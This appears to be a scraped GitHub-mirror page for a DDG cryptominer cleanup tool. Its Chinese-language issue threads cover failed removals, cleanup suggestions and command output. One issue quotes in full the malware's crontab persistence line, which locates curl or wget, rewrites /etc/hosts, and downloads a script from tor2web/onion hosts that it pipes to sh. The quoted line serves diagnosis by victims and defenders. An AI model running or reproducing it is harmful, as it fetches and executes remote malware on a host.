Git Product home page Git Product logo

ddg_malware_clean_tool's People

Contributors

moreseclab avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ddg_malware_clean_tool's Issues

你好我也遇到这个问题了

但是我把kthrotlds10分钟进程没启动,这个是手动杀的,但是tmp这个文件始终都是我往里面写东西就立即删除,修改定时任务也报错,用了您的脚本也没办法解决

遇到病毒新变种,修复无效,贴出信息仅供参考

我的ECS遇到了这个病毒的新变种,进程名为[kthrotlds]

  • 使用脚本修复无效
  • /usr/sbin目录下没有kthrotlds
  • /etc/init.d/下没有netdns
  •  我的服务器没有开启redis

crontab -l 内容如下,应该是换汤不换药,但是无法删除:
# crontab -l */12 * * * * R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;done;fi;G2="wget";if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "to <[email protected]>" && G2="$f" && break;done;fi;if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;fi; C=" -fsSLk --connect-timeout 26 --max-time 75 ";W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";H="https://an7kmd2wp4xo7hpr";T1=".tor2web.su/";T2=".d2web.org/";T3=".onion.sh/";P="src/ldm";($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh & #

不知你们是否有兴趣研究并修复👍

建议添加clear_kthrotlds.sh 的功能优化

增加清理/usr/bin下的kthrotlds
清理etc/cron.d/root 之前增加chattr -i etc/cron.d/root,当前该病毒版本会修改这个文件属性
清理/var/spool/cron/root 也一样

服务 watchdogs 信息读取出错:没有那个文件或目录

用法:
kill [选项] <pid|名称> [...]

选项:
-a, --all 不限于只对和当前进程的用户 id 相同的进程进行
名称-进程id 转换
-s, --signal <信号> 发送指定的信号
-q, --queue <信号> 使用 sigqueue(2) 代替 kill(2)
-p, --pid 打印 pid 而不向它们发送信号
-l, --list [=<信号>] 列出信号名,或将一个信号转换为名称
-L, --table 列出信号名和数值

-h, --help 显示此帮助并退出
-V, --version 输出版本信息并退出

更多信息请参阅 kill(1)。

用法:
kill [选项] <pid|名称> [...]

选项:
-a, --all 不限于只对和当前进程的用户 id 相同的进程进行
名称-进程id 转换
-s, --signal <信号> 发送指定的信号
-q, --queue <信号> 使用 sigqueue(2) 代替 kill(2)
-p, --pid 打印 pid 而不向它们发送信号
-l, --list [=<信号>] 列出信号名,或将一个信号转换为名称
-L, --table 列出信号名和数值

-h, --help 显示此帮助并退出
-V, --version 输出版本信息并退出

更多信息请参阅 kill(1)。
服务 watchdogs 信息读取出错:没有那个文件或目录
chkconfig 版本 1.7.4 - 版权 (C) 1997-2000 Red Hat, Inc.
在 GNU 公共许可条款下,本软件可以免费重新发布。

用法:chkconfig [--list] [--type ] [name]
chkconfig --add
chkconfig --del
chkconfig --override
chkconfig [--level ] [--type ] <on|off|reset|resetpriorities>
Redirecting to /bin/systemctl start crond.service
Done, Please reboot!
您在 /var/spool/mail/root 中有新邮件

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.